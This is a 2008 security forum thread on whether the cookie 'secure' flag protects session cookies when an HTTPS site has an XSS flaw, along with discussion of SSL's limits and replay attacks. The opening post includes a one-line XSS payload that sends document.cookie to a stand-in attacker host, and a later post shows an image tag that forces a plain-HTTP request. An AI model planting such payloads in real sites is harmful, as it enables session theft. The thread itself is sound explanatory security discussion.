Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
Q and A on cross site request forgeries and breaking into sessions. It's one of the attacks that XSS enables and the attack of the future. For Session, fixations, hijacking, lockout, replay, session riding etc.... 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
cookies - secure option
Posted by: dex
Date: March 10, 2008 06:24AM

Hi! I'm just playing around with cookies and now theres a question about the 'secure'-option in cookies:

Normally this option should ensure that cookies are only sent through a secure connection (https). BUT if I have a webapp that runs on https with an xss vulnerability, I can use e.g. an image-tag to send the cookie to an normal webserver, even if the secure-flag is set.

e.g. with the following img-tag in the "secure" website where the source attribute is set to the attackers-server:
<img src='http://attacker.com'+document.cookie />

Am I right with my suggestion?

thanx in advance

Options: ReplyQuote
Re: cookies - secure option
Posted by: Gareth Heyes
Date: March 10, 2008 07:15AM

SSL means nothing when XSS is found.

So yeah you're correct.

I propose SSL is renamed to NSSL (Nearly secure sockets layer)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: cookies - secure option
Posted by: dex
Date: March 10, 2008 09:18AM

or somthing like: pretend to be secure sockets layer



thanx for the quick answer!

I had a working example, but I wasn't sure if I coded it right...

Options: ReplyQuote
Re: cookies - secure option
Posted by: Malkav
Date: March 10, 2008 11:16AM

SSL never, never, NEVER pretended to be able to secure data from rogue transports.

SSL provides a provably secure mean of transport between a client, and a server. period. as long as ssl is concerned, XSS sending data to a rogue server, is a completely different flow, and is in no way concerned.

if you want to disallow rogue client scripts (xss) to send data from your client to another domain, don't look at ssl.

the only point of SSL is to make the flow confidential, authenticatable (ouch), and tamperproof.

----------------------------------------------------------------------------------------------------------------

Those that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.
--Benjamin Franklin

Options: ReplyQuote
Re: cookies - secure option
Posted by: dex
Date: March 11, 2008 06:02PM

you're right!

I just ment 'pretend', because if some managers hear that the web application is running on TLS, they think that this application 'must' be secure

I just wasnt sure about the secure-flag...

Options: ReplyQuote
Re: cookies - secure option
Posted by: Malkav
Date: March 13, 2008 12:07PM

well i guess with a couple a week, it shouldn't be impossible to make a module for apache/lighttpd/whatever that refuse to send "tagged" data over an insecure channel. but that would probably break a half dozen standard so...

the best option is still to write on a cookie data that can only make sense both with client dependent data, and server dependent data. that way, ie : even with the session hash intercepted, the attacker would get no value out of it, because he doesn't possess the original client data.

i don't know in what proportion it would protect from server-side attacks, 'cause i can only presume that compromission of the data on the server (cf the recent iframe injection attacks on zdnet and such) should lead to the assumption that the attacker has full control of the data getting in and out the server (imho) so my first guess would be "none", but perhaps there is some way to refine the scheme.

----------------------------------------------------------------------------------------------------------------

Those that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.
--Benjamin Franklin

Options: ReplyQuote
Re: cookies - secure option
Posted by: arshan
Date: March 28, 2008 06:05PM

Yeah, the flag never should have been called "secure", but hindsight is always better than 20/20. I think "confidential" would be a better flag, the word "secure" is all-encompassing to non-SMEs and loaded to SMEs.

The "secure" flag is very important to have on to protect cookie confidentiality even if you have all https links in your site. Imagine you've gone through your site and made all your links https. It's trivial for me to put this code in my evil page and trick you into visiting it:
<img src="http://your-bank-with-the-secure-flag-off.com/">

... and your browser will issue the request over HTTP. Or I could just be blatant and ask you to click on the link directly.

So, don't bash the secure flag too much - just realize its limitations and communicate them to your customers/use them to your advantage.

Options: ReplyQuote
Re: cookies - secure option
Date: April 01, 2008 06:00PM

Will this not cause browser to alert saying that there is insecure content on the SSL page since the image is http and not https?

Options: ReplyQuote
Re: cookies - secure option
Posted by: arshan
Date: April 03, 2008 03:17PM

Depending on your browser/platform/zone and whether or not the image is on the same domain.

Options: ReplyQuote
Re: cookies - secure option
Posted by: jostie
Date: April 04, 2008 02:47AM

The secure option in your configuration basicly says that cookies are only sended and accepted trought a https (ssl) connection. This guarantees that during transport it is near imposible for a man in the middle attack to occur.

But at both ends of the tunnel hackers still have their opportunities. HTTPS also doesn't exclude replay attacks because hackers can also negotiate a secure connection with the target server.

SSL is part of the solution. Not "The" solution.

Options: ReplyQuote
Re: cookies - secure option
Posted by: arshan
Date: April 04, 2008 04:46PM

jostie - can you clarify how SSL is vulnerable to replay attacks?

Options: ReplyQuote
Re: cookies - secure option
Posted by: jostie
Date: April 05, 2008 04:59AM

Well it is realy difficult but theoreticly while the target client and target server are still conversing you can resend captured packets. You can't read them but you can send as many as you like.

Options: ReplyQuote
Re: cookies - secure option
Posted by: Malkav
Date: April 07, 2008 06:47AM

not in any case. SSL defines the use of a nonce as standard. this nonce is used as sequence number, and as in TCP, you can't hijack the session if you can't get your faked session numbers correct, and while it is still feasible in TCP ( altough made difficult by good RNGs.) this is made practically unfeasible in SSL (minus the implementation errors, minus the kung foo masters)

in ssl i would worry much more of :

1 : bad implementation

2 : not properly managed certificates

3 : side channel attacks

----------------------------------------------------------------------------------------------------------------

Those that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.
--Benjamin Franklin

Options: ReplyQuote


Sorry, only registered users may post in this forum.